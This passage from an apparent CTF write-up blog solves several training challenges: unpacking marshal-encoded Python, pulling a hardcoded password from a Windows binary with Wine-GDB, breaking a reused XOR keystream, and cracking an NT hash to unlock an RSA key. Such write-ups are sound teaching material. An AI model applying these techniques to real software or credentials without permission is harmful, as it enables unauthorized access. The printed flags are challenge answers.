<span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This function dynamically reconstructs Python functions from encoded data.</p>

<p>Every variable assigned through the loader, for example:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">i0</span> <span class="o">=</span> <span class="nf">ll</span><span class="p">(</span><span class="sh">'</span><span class="s">eJxLZoACJiB2BuJiLiBR...</span><span class="sh">'</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>goes through the following process:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>Base64 decoding
        ↓
zlib decompression
        ↓
marshal.loads()
        ↓
Python code object
        ↓
types.FunctionType()
        ↓
Executable Python function
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The challenge hides all important logic inside these dynamically generated functions.</p>

<hr />

<h2 id="extraction">Extraction</h2>

<p>To extract the hidden functions, I modified the <code class="language-plaintext highlighter-rouge">ll</code> loader so that instead of creating functions, it writes the decoded bytecode to files:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">zlib</span>
<span class="kn">import</span> <span class="n">base64</span>

<span class="k">def</span> <span class="nf">ll</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">"</span><span class="s">out/</span><span class="sh">"</span> <span class="o">+</span> <span class="n">name</span><span class="p">,</span> <span class="sh">"</span><span class="s">wb</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">fp</span><span class="p">:</span>
        <span class="n">fp</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">zlib</span><span class="p">.</span><span class="nf">decompress</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="nf">b64decode</span><span class="p">(</span><span class="n">data</span><span class="p">)))</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Then I replaced each function creation with a call to the modified loader:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="n">i0</span> <span class="o">=</span> <span class="nf">ll</span><span class="p">(</span><span class="sh">"</span><span class="s">i0</span><span class="sh">"</span><span class="p">,</span> <span class="sh">'</span><span class="s">eJxLZoACJiB2BuJiLiBR...</span><span class="sh">'</span><span class="p">)</span>
<span class="n">i1</span> <span class="o">=</span> <span class="nf">ll</span><span class="p">(</span><span class="sh">"</span><span class="s">i1</span><span class="sh">"</span><span class="p">,</span> <span class="sh">'</span><span class="s">eJxLZoACJiB2BuJiLiBR...</span><span class="sh">'</span><span class="p">)</span>
<span class="c1"># ... repeat for all encoded functions
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>After extracting all the hidden code objects, I converted them back into Python bytecode files and decompiled them:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="k">for </span>x <span class="k">in </span>out/<span class="k">*</span><span class="p">;</span> <span class="k">do </span>python marshal-to-pyc.py <span class="nv">$x</span><span class="p">;</span> <span class="k">done</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After reviewing the resulting files, one of the extracted functions (<code class="language-plaintext highlighter-rouge">a2.py</code>) contained the flag construction logic:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="n">f</span> <span class="o">=</span> <span class="p">[</span>
    <span class="sh">'</span><span class="s">H</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">T</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">B</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">{</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">S</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">u</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">P</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">3</span><span class="sh">'</span><span class="p">,</span>
    <span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">_</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">S</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">3</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">C</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">R</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">t</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">_</span><span class="sh">'</span><span class="p">,</span>
    <span class="sh">'</span><span class="s">S</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">n</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">4</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">k</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">3</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">c</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">0</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">d</span><span class="sh">'</span><span class="p">,</span>
    <span class="sh">'</span><span class="s">3</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">}</span><span class="sh">'</span>
<span class="p">]</span>

<span class="k">return</span> <span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The flag characters are stored directly inside the list. Joining them together reveals the final flag:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="o">&gt;&gt;&gt;</span> <span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
<span class="sh">'</span><span class="s">HTB{SuP3r_S3CRt_Sn4k3c0d3}</span><span class="sh">'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<hr />

<h2 id="flag">Flag</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>HTB{SuP3r_S3CRt_Sn4k3c0d3}
</pre></td></tr></tbody></table></code></pre></div></div>]]></content><author><name>Y_isDown</name></author><category term="Reverse Engineering" /><summary type="html"><![CDATA[Extracting layered Python bytecode obfuscation through base64 decoding, zlib decompression, and marshal deserialization.]]></summary></entry><entry><title type="html">Find The Easy Pass</title><link href="https://yisdown.github.io/reverse%20engineering/2026/07/04/find-the-easy-pass/" rel="alternate" type="text/html" title="Find The Easy Pass" /><published>2026-07-04T00:00:00+00:00</published><updated>2026-07-04T00:00:00+00:00</updated><id>https://yisdown.github.io/reverse%20engineering/2026/07/04/find-the-easy-pass</id><content type="html" xml:base="https://yisdown.github.io/reverse%20engineering/2026/07/04/find-the-easy-pass/"><![CDATA[<h2 id="analysis">Analysis</h2>

<p>The challenge provides a single executable:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="nb">ls
</span>EasyPass.exe
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Running the binary with Wine displays a simple password prompt.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>wine EasyPass.exe
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Entering any random password results in a “Wrong Password!” message.</p>

<p><img src="/assets/img/htb/easypass1.png" alt="easy" /></p>

<p>Opening the file in Ghidra, we can search for the “Wrong Passwor!” string and find the main password checking function at 0x00454050. The decompiled code revealed the logic:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="n">FUN_00404628</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">**</span><span class="p">)(</span><span class="n">iVar7</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x28</span><span class="p">),</span> <span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">**</span><span class="p">)(</span><span class="n">iVar7</span> <span class="o">+</span> <span class="o">-</span><span class="mi">4</span><span class="p">));</span>
<span class="k">if</span> <span class="p">((</span><span class="n">bool</span><span class="p">)</span><span class="n">uVar8</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">FUN_00427a30</span><span class="p">((</span><span class="n">uint</span> <span class="o">*</span><span class="p">)</span><span class="s">"Good Job. Congratulations"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
    <span class="n">FUN_00427a30</span><span class="p">((</span><span class="n">uint</span> <span class="o">*</span><span class="p">)</span><span class="s">"Wrong Password!"</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The function FUN_00404628 performs the password comparison. Looking at the disassembly around the call:</p>

<pre><code class="language-asm">00454118 call sub_40459c
0045411d lea edx, [ebp-0x28]
00454120 mov eax, dword [ebx+0x2f8]
00454126 call sub_433110
0045412b mov eax, dword [ebp-0x28]
0045412e mov edx, dword [ebp-0x4]
00454131 call do_check
00454136 jne 0x454144
00454138 mov eax, congrats
0045413d call showmsgbox
00454142 jmp 0x45414e
00454144 mov eax, password
00454149 call showmsgbox
</code></pre>

<p>Immediately before <code class="language-plaintext highlighter-rouge">do_check</code> is called, the program loads two pointers into <code class="language-plaintext highlighter-rouge">EAX</code> and <code class="language-plaintext highlighter-rouge">EDX</code>. One contains the user input while the other contains the expected password.</p>

<p>Rather than reversing the comparison function itself, it’s easier to inspect these registers during execution.</p>

<h2 id="exploatation">Exploatation</h2>

<p>Since the binary runs correctly under Wine, I used <strong>Wine-GDB</strong> to debug it.</p>

<p>Start the program:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>winedbg <span class="nt">--gdb</span> EasyPass.exe
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Set a breakpoint immediately before the comparison function:</p>

<pre><code class="language-gdb">Wine-gdb&gt; break *0x0454131
Breakpoint 1 at 0x454131
</code></pre>

<p>Continue execution:</p>

<pre><code class="language-gdb">Wine-gdb&gt; continue
</code></pre>

<p>The password window appears. I entered a test password to reach the comparison.</p>

<p>Execution stops at the breakpoint.</p>

<p>Inspecting the registers:</p>

<pre><code class="language-gdb">Wine-gdb&gt; x/s $eax
0x1602444: "test"

Wine-gdb&gt; x/s $edx
0x160366c: "fortran!"
</code></pre>

<p><code class="language-plaintext highlighter-rouge">EAX</code> contains my input (<code class="language-plaintext highlighter-rouge">test</code>), while <code class="language-plaintext highlighter-rouge">EDX</code> contains the hardcoded password the program is expecting.</p>

<p>Therefore, the correct password is:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>fortran!
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Running the executable again and entering this password displays the success message.</p>

<h2 id="flag">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">HTB{fortran!}</code></p>]]></content><author><name>Y_isDown</name></author><category term="Reverse Engineering" /><category term="Ghidra" /><category term="Wine" /><summary type="html"><![CDATA[Using Wine and GDB to dynamically recover the password from a Windows executable.]]></summary></entry><entry><title type="html">UTCN Cyber Security Seminars</title><link href="https://yisdown.github.io/forensics/crypto/misc/reverse%20engineering/2026/07/03/utcn-cyber-security-seminars/" rel="alternate" type="text/html" title="UTCN Cyber Security Seminars" /><published>2026-07-03T00:00:00+00:00</published><updated>2026-07-03T00:00:00+00:00</updated><id>https://yisdown.github.io/forensics/crypto/misc/reverse%20engineering/2026/07/03/utcn-cyber-security-seminars</id><content type="html" xml:base="https://yisdown.github.io/forensics/crypto/misc/reverse%20engineering/2026/07/03/utcn-cyber-security-seminars/"><![CDATA[<h2 id="suspicious-python-script---reverse-engineering">Suspicious Python Script - Reverse Engineering</h2>

<p>In this challenge we get a simple Python script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">base64</span>
<span class="kn">import</span> <span class="n">hashlib</span>
<span class="kn">import</span> <span class="n">time</span>


<span class="n">CACHE_VERSION</span> <span class="o">=</span> <span class="sh">"</span><span class="s">2026.06</span><span class="sh">"</span>

<span class="n">DECOY_NOTE</span> <span class="o">=</span> <span class="sh">"</span><span class="s">VGhpcyBpcyBqdXN0IGEgZGVjb3kgc3RyaW5nLg==</span><span class="sh">"</span>

<span class="n">_DATA</span> <span class="o">=</span> <span class="p">[</span>
    <span class="mi">10</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">82</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">113</span><span class="p">,</span> <span class="mi">93</span><span class="p">,</span> <span class="mi">84</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">121</span><span class="p">,</span>
    <span class="mi">5</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">113</span><span class="p">,</span> <span class="mi">83</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span>
    <span class="mi">77</span><span class="p">,</span> <span class="mi">113</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">117</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span>
    <span class="mi">77</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">89</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">94</span><span class="p">,</span> <span class="mi">117</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span>
    <span class="mi">66</span><span class="p">,</span> <span class="mi">117</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">86</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">91</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">84</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span>
    <span class="mi">114</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">91</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span>
<span class="p">]</span>


<span class="k">def</span> <span class="nf">_checksum</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="k">return</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">text</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">hexdigest</span><span class="p">()[:</span><span class="mi">8</span><span class="p">]</span>


<span class="k">def</span> <span class="nf">_decode_cache_key</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="nb">buffer</span> <span class="o">=</span> <span class="sh">""</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nf">chr</span><span class="p">(</span><span class="n">value</span> <span class="o">^</span> <span class="mh">0x37</span><span class="p">)</span> <span class="k">for</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">_DATA</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64decode</span><span class="p">(</span><span class="nb">buffer</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]).</span><span class="nf">decode</span><span class="p">()</span>


<span class="k">def</span> <span class="nf">_fake_update_check</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">time</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
    <span class="k">return</span> <span class="sh">"</span><span class="s">no-updates</span><span class="sh">"</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] Checking local grade cache...</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">status</span> <span class="o">=</span> <span class="nf">_fake_update_check</span><span class="p">()</span>
    <span class="n">cache_key</span> <span class="o">=</span> <span class="nf">_decode_cache_key</span><span class="p">()</span>

    <span class="k">if</span> <span class="nf">_checksum</span><span class="p">(</span><span class="n">cache_key</span><span class="p">)</span> <span class="o">==</span> <span class="sh">"</span><span class="s">00000000</span><span class="sh">"</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">cache_key</span><span class="p">)</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Cache version: </span><span class="si">{</span><span class="n">CACHE_VERSION</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Status: </span><span class="si">{</span><span class="n">status</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>How the script works:</strong> <code class="language-plaintext highlighter-rouge">_decode_cache_key()</code> XORs every byte in <code class="language-plaintext highlighter-rouge">_DATA</code> with <code class="language-plaintext highlighter-rouge">0x37</code>, joins the results into a string, reverses it, and base64-decodes it — that’s the actual flag, fully computed every time the script runs. The catch is the <code class="language-plaintext highlighter-rouge">if _checksum(cache_key) == "00000000":</code> gate: it only prints <code class="language-plaintext highlighter-rouge">cache_key</code> when the first 8 hex characters of its SHA-256 hash equal <code class="language-plaintext highlighter-rouge">"00000000"</code>, which practically never happens. So the flag is decoded internally but never revealed — the checksum is just a decoy to discourage casual reading of the code.</p>

<p>To get the flag, we just print <code class="language-plaintext highlighter-rouge">cache_key</code> before that checksum check:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>    <span class="nf">print</span><span class="p">(</span><span class="n">cache_key</span><span class="p">)</span>

    <span class="k">if</span> <span class="nf">_checksum</span><span class="p">(</span><span class="n">cache_key</span><span class="p">)</span> <span class="o">==</span> <span class="sh">"</span><span class="s">00000000</span><span class="sh">"</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">cache_key</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Running it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>python3 grades.py
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Checking <span class="nb">local </span>grade cache...
UTCN_CTF<span class="o">{</span>pyth0n_0bfusc4t10n_1s_n0t_s3cur1ty<span class="o">}</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Cache version: 2026.06
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Status: no-updates
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="exam---crypto">Exam - Crypto</h2>

<p>We have 3 files: a plain <code class="language-plaintext highlighter-rouge">announcement.txt</code>, the encrypted version of the announcement, and the encrypted flag.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="nb">ls
</span>announcement.txt  encrypted_announcement.hex  encrypted_flag.hex
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">announcement.txt</code>:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>The exam starts at 09:00 in room A101. Bring your student ID.
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">encrypted_announcement.hex</code>:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>db197a2fff5fb3f78eaf5c546da9144dbfb6eb5393b8e8cb2075a7bc69c65c682a2f332ee9e7ef867f8f512421453227faa312ddcb8b00e09cdc4bd4a0
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">encrypted_flag.hex</code>:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>da255c41c56486dcd5b21b432caf381fedb7b850f5b2ac8b5f77ace568d4
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The vulnerability here is a simple key reuse (two-time pad). Both files were encrypted by XORing with the same keystream — a classic OTP/stream-cipher misuse. XOR has a property that breaks this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>enc_ann  = plaintext XOR key
enc_flag = flag      XOR key
</pre></td></tr></tbody></table></code></pre></div></div>

<p>XOR the known plaintext/ciphertext pair together to recover the key:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>enc_ann XOR plaintext = key
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After recovering the keystream bytes, I XOR-ed them with the encrypted flag to get the plaintext flag:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>UTCN_CTF{n3v3r_r3us3_0tp_keys}
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="leaked-keys---crypto">Leaked Keys - Crypto</h2>

<p>In this challenge we get 3 files: one ciphertext, one encrypted RSA private key, and one Windows password hash:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="nb">ls
</span>cipher.txt  mykey.pem  windows_password_hash.txt
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The first thing we need to do is crack the hashed password, which uses the Windows NT hashing algorithm. This gives us the password:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>abracadabra
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Now we can use that passphrase to decrypt the RSA private key and get the unencrypted one. I used this command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>openssl rsa <span class="nt">-in</span> mykey.pem <span class="nt">-out</span> key.pem
</pre></td></tr></tbody></table></code></pre></div></div>

<p>With the decrypted private key, I opened CyberChef and used the RSA Decrypt operation with <code class="language-plaintext highlighter-rouge">key.pem</code> on <code class="language-plaintext highlighter-rouge">cipher.txt</code> to reveal the flag:</p>

<p><img src="/assets/img/semi/key.png" alt="flag" /></p>

<h2 id="idle-agent-1---forensics">Idle Agent 1 - Forensics</h2>

<p>This is a very simple forensics challenge, in which we have a Windows crash dump. I resolved it very quickly by just using <code class="language-plaintext highlighter-rouge">strings</code> and grepping for the malicious executable, which is obvious:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre>┌──<span class="o">(</span>m9suu㉿kali<span class="o">)</span>-[~/Desktop/utcn/idle_agent1]
└─<span class="nv">$ </span><span class="nb">ls
</span>MEMORY.DMP

┌──<span class="o">(</span>m9suu㉿kali<span class="o">)</span>-[~/Desktop/utcn/idle_agent1]
└─<span class="nv">$ </span>file MEMORY.DMP
MEMORY.DMP: MS Windows 64bit crash dump, version 15.7601, 4 processors, DumpType <span class="o">(</span>0x1<span class="o">)</span>, 130942 pages

┌──<span class="o">(</span>m9suu㉿kali<span class="o">)</span>-[~/Desktop/utcn/idle_agent1]
└─<span class="nv">$ </span>strings MEMORY.DMP | <span class="nb">grep</span> <span class="s2">".exe"</span>
.....
C:<span class="se">\U</span>sers<span class="se">\u</span>ser<span class="se">\D</span>esktop<span class="se">\u</span>tcn4g3nt.exe
utcn4g3nt.exe
utcn4g3nt.exe
utcn4g3nt.exe
utcn4g3nt.exe
utcn4g3nt.exe
.....
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="professor-laptop---forensics">Professor Laptop - Forensics</h2>

<p>I opened the <code class="language-plaintext highlighter-rouge">professor_laptop</code> folder and looked through all the files:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>┌──<span class="o">(</span>m9suu㉿kali<span class="o">)</span>-[~/Desktop/utcn/professor_laptop]
└─<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lah</span>
total 36K
drwxrwxr-x 7 m9suu m9suu 4.0K Jun 19 03:40 <span class="nb">.</span>
drwxrwxr-x 4 m9suu m9suu 4.0K Jun 29 03:07 ..
<span class="nt">-rw-rw-r--</span> 1 m9suu m9suu   30 Jun 19 03:40 .bash_history
<span class="nt">-rw-rw-r--</span> 1 m9suu m9suu  231 Jun 19 03:39 .browser_history.txt
drwxrwxr-x 2 m9suu m9suu 4.0K Jun 19 03:39 Desktop
drwxrwxr-x 2 m9suu m9suu 4.0K Jun 19 03:39 Documents
drwxrwxr-x 2 m9suu m9suu 4.0K Jun 29 03:07 Downloads
drwxrwxr-x 3 m9suu m9suu 4.0K Jun 19 03:39 .local
drwxrwxr-x 2 m9suu m9suu 4.0K Jun 19 03:39 .ssh
</pre></td></tr></tbody></table></code></pre></div></div>

<p>At first I didn’t find anything important, until I checked <code class="language-plaintext highlighter-rouge">.browser_history</code> and realized it pointed to some deleted files. I found a file in the trash containing the flag, encoded in base64:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
